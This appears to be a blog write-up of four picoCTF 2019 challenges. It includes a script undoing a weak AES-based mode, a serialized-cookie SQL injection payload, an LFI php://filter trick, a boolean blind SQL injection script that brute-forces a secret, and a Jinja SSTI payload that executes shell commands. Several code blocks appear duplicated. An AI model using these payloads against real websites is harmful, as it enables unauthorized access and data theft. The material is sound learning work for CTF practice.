AES ABC
Basically, the gist of this problem was that ABC summed up the data created in an ECB encrypted image (which is really insecure as original data can still be distinguished due to the nature of ECB!)
def aes_abc_encrypt(pt):
cipher = AES.new(KEY, AES.MODE_ECB)
ct = cipher.encrypt(pad(pt))
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
iv = os.urandom(16)
blocks.insert(0, iv)
for i in range(len(blocks) - 1):
prev_blk = int(blocks[i].encode('hex'), 16)
curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (prev_blk + curr_blk) % UMAX
blocks[i+1] = to_bytes(n_curr_blk)
ct_abc = "".join(blocks)
return iv, ct_abc, ct
So if we just reverse that operation (padding and the IV won't even matter... they will just mess up some pixels), we should be able to distinguish the original image. Here was my final script to reverse the operations on the image.cipher = AES.new(KEY, AES.MODE_ECB)
ct = cipher.encrypt(pad(pt))
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
iv = os.urandom(16)
blocks.insert(0, iv)
for i in range(len(blocks) - 1):
prev_blk = int(blocks[i].encode('hex'), 16)
curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (prev_blk + curr_blk) % UMAX
blocks[i+1] = to_bytes(n_curr_blk)
ct_abc = "".join(blocks)
return iv, ct_abc, ct
from Crypto.Cipher import AES
#from key import KEY
import os
import math
'''
(n + x) mod m = b
reversed is
x = (b - n) mod m
'''
BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))
def to_bytes(n):
s = hex(n)
s_n = s[2:]
if 'L' in s_n:
s_n = s_n.replace('L', '')
if len(s_n) % 2 != 0:
s_n = '0' + s_n
decoded = s_n.decode('hex')
pad = (len(decoded) % BLOCK_SIZE)
if pad != 0:
decoded = "\0" * (BLOCK_SIZE - pad) + decoded
return decoded
def remove_line(s):
# returns the header line, and the rest of the file
return s[:s.index('\n') + 1], s[s.index('\n')+1:]
def parse_header_ppm(f):
data = f.read()
header = ""
for i in range(3):
header_i, data = remove_line(data)
header += header_i
return header, data
def pad(pt):
padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
return pt + (chr(padding) * padding) # would padding really matter, it's ecb anyways so we should be able to see image
def aes_abc_encrypt(pt):
cipher = AES.new(KEY, AES.MODE_ECB)
ct = cipher.encrypt(pad(pt)) #encrypts image with ECB
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
'''
for i in range(len(ct) / BLOCK_SIZE):
blocks[i] = ct[(i * BLOCK_SIZE):(i+1) * BLOCK_SIZE] //sets blocks accordingly to ecb
'''
iv = os.urandom(16)
blocks.insert(0, iv) #inserts iv in front
for i in range(len(blocks) - 1):
prev_blk = int(blocks[i].encode('hex'), 16)
curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (prev_blk + curr_blk) % UMAX
blocks[i+1] = to_bytes(n_curr_blk)
ct_abc = "".join(blocks)
return iv, ct_abc, ct
def aes_abc_decrypt(ct):
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
blocks = blocks[1:] #strip iv
#reverse operations
for i in range(len(blocks)-1, 1, -1):
prev_blk = int(blocks[i-1].encode('hex'), 16)
curr_blk = int(blocks[i].encode('hex'), 16)
n_curr_blk = (curr_blk-prev_blk)%UMAX
blocks[i] = to_bytes(n_curr_blk)
return ''.join(blocks)
if __name__=="__main__":
with open('body.enc.ppm', 'rb') as f:
header, data = parse_header_ppm(f)
data = aes_abc_decrypt(data)
#iv, c_img, ct = aes_abc_encrypt(data)
with open('decrypt.ppm', 'wb') as fw:
fw.write(header) #header still writen back to new file
fw.write(data)
#from key import KEY
import os
import math
'''
(n + x) mod m = b
reversed is
x = (b - n) mod m
'''
BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))
def to_bytes(n):
s = hex(n)
s_n = s[2:]
if 'L' in s_n:
s_n = s_n.replace('L', '')
if len(s_n) % 2 != 0:
s_n = '0' + s_n
decoded = s_n.decode('hex')
pad = (len(decoded) % BLOCK_SIZE)
if pad != 0:
decoded = "\0" * (BLOCK_SIZE - pad) + decoded
return decoded
def remove_line(s):
# returns the header line, and the rest of the file
return s[:s.index('\n') + 1], s[s.index('\n')+1:]
def parse_header_ppm(f):
data = f.read()
header = ""
for i in range(3):
header_i, data = remove_line(data)
header += header_i
return header, data
def pad(pt):
padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
return pt + (chr(padding) * padding) # would padding really matter, it's ecb anyways so we should be able to see image
def aes_abc_encrypt(pt):
cipher = AES.new(KEY, AES.MODE_ECB)
ct = cipher.encrypt(pad(pt)) #encrypts image with ECB
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
'''
for i in range(len(ct) / BLOCK_SIZE):
blocks[i] = ct[(i * BLOCK_SIZE):(i+1) * BLOCK_SIZE] //sets blocks accordingly to ecb
'''
iv = os.urandom(16)
blocks.insert(0, iv) #inserts iv in front
for i in range(len(blocks) - 1):
prev_blk = int(blocks[i].encode('hex'), 16)
curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (prev_blk + curr_blk) % UMAX
blocks[i+1] = to_bytes(n_curr_blk)
ct_abc = "".join(blocks)
return iv, ct_abc, ct
def aes_abc_decrypt(ct):
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
blocks = blocks[1:] #strip iv
#reverse operations
for i in range(len(blocks)-1, 1, -1):
prev_blk = int(blocks[i-1].encode('hex'), 16)
curr_blk = int(blocks[i].encode('hex'), 16)
n_curr_blk = (curr_blk-prev_blk)%UMAX
blocks[i] = to_bytes(n_curr_blk)
return ''.join(blocks)
if __name__=="__main__":
with open('body.enc.ppm', 'rb') as f:
header, data = parse_header_ppm(f)
data = aes_abc_decrypt(data)
#iv, c_img, ct = aes_abc_encrypt(data)
with open('decrypt.ppm', 'wb') as fw:
fw.write(header) #header still writen back to new file
fw.write(data)
This was considered one of the harder crypto challenges this year... picoCTF 2019 crypto really was easier than 2018's.
Cereal 1
This web challenge took me a while to figure out. I knew it had something to do with serialization from the name "cereal." I also guessed a login as guest:guest. Lastly, there was an admin page and a regular user page on the website. Playing around, I found a sqli in the cookie (the structure of it can be decoded via base64 decode and url decode). Here was the final php script used to generate the malicious sqli cookie.
<?php class permissions
{
public $username = "guest";
public $password = "guest";
}
$payload = new Permissions();
$payload->username = "admin";
$payload->password = "test'or'1=1";
echo urlencode(base64_encode(serialize($payload)));
echo "\n";
?>
{
public $username = "guest";
public $password = "guest";
}
$payload = new Permissions();
$payload->username = "admin";
$payload->password = "test'or'1=1";
echo urlencode(base64_encode(serialize($payload)));
echo "\n";
?>
Then, you will get the flag.
Cereal 2
Credentials no longer work anymore. Playing around, I realized that we can LFI the webpage by simply changing the file it requests. In order to reveal the original PHP source, I used the filter base64 decode method from pentesting cheatsheets to LFI (?file=php://filter/convert.base64-encode/resource=page.php). From the pages such as index.php and admin.php, we end up finding a connection to cookies.php, which has the following code
<?php
require_once('../sql_connect.php');
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
public $username;
public $password;
function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
die("SQL error");
}
$prepared->bind_param('ss', $this->username, $this->password);
if (!$prepared->execute()) {
die("SQL error");
}
if (!($result = $prepared->get_result())) {
die("SQL error");
}
$r = $result->fetch_all();
if($result->num_rows !== 1){
$is_admin_val = 0;
}
else{
$is_admin_val = (int)$r[0][0];
}
$sql_conn->close();
return $is_admin_val;
}
}
#prepared statements above aren't vulnerable
/* legacy login */
class siteuser
{
public $username;
public $password;
function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
$result = $sql_conn->query($q);
if($result->num_rows != 1){
$is_user_val = 0;
}
else{
$is_user_val = 1;
}
$sql_conn->close();
return $is_user_val;
}
}
if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}
?>
require_once('../sql_connect.php');
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
public $username;
public $password;
function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
die("SQL error");
}
$prepared->bind_param('ss', $this->username, $this->password);
if (!$prepared->execute()) {
die("SQL error");
}
if (!($result = $prepared->get_result())) {
die("SQL error");
}
$r = $result->fetch_all();
if($result->num_rows !== 1){
$is_admin_val = 0;
}
else{
$is_admin_val = (int)$r[0][0];
}
$sql_conn->close();
return $is_admin_val;
}
}
#prepared statements above aren't vulnerable
/* legacy login */
class siteuser
{
public $username;
public $password;
function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
$result = $sql_conn->query($q);
if($result->num_rows != 1){
$is_user_val = 0;
}
else{
$is_user_val = 1;
}
$sql_conn->close();
return $is_user_val;
}
}
if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}
?>
Once again, we can do sqli by making it deserialize the legacy version (which still exists). Playing around with my previous script from cereal 1, I determined that an injection in which we guess the character of the password one by one can be done; this is a classic boolean injection attack.
Using my "like" method, there was an issue with the first few characters, but with some fiddling, I figured it had to start with picoCTF. Afterwards, it worked fine.
<?php class siteuser
{
public $username = "guest";
public $password = "guest";
}
#boolean sqli
$charset = "0123456789abcdefghijklmnopqrstuvwxyz{}";
$flag = "picoCTF";
for($i = 0; $i < strlen($charset); $i++)
{
$sqli = "blahblahthisnamedoesntexist' union select admin from pico_ch2.users where password like '".$flag.$charset[$i]."%'-- ";
$payload = new siteuser();
$payload->username = $sqli;
$result = request("user_info=".urlencode(base64_encode(serialize($payload))));
if ($result)
{
$flag = $flag.$charset[$i];
echo $flag."\n";
if ($charset[$i] !== "}")
{
$i=0;
}
}
}
function request($payload)
{
$exploit = curl_init();
curl_setopt($exploit, CURLOPT_URL,"http://2019shell1.picoctf.com:62195/index.php?file=admin");
curl_setopt($exploit, CURLOPT_COOKIE, $payload);
curl_setopt($exploit, CURLOPT_COOKIESESSION, 1);
curl_setopt($exploit, CURLOPT_RETURNTRANSFER, true);
curl_setopt($exploit, CURLOPT_HEADER, true);
$output = curl_exec($exploit);
curl_close ($exploit);
if (strstr($output, "You are not admin!"))
{
return false;
}
else
{
return true;
}
}
?>
Empire 3
An easy SSTI injection, just like Flaskcards and Freedom from 2018. My final payload is the following (I targeted warnings catch warnings):
{{ ''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__.__builtins__.eval("__import__('os').popen('grep -R .').read()") }}
No comments:
Post a Comment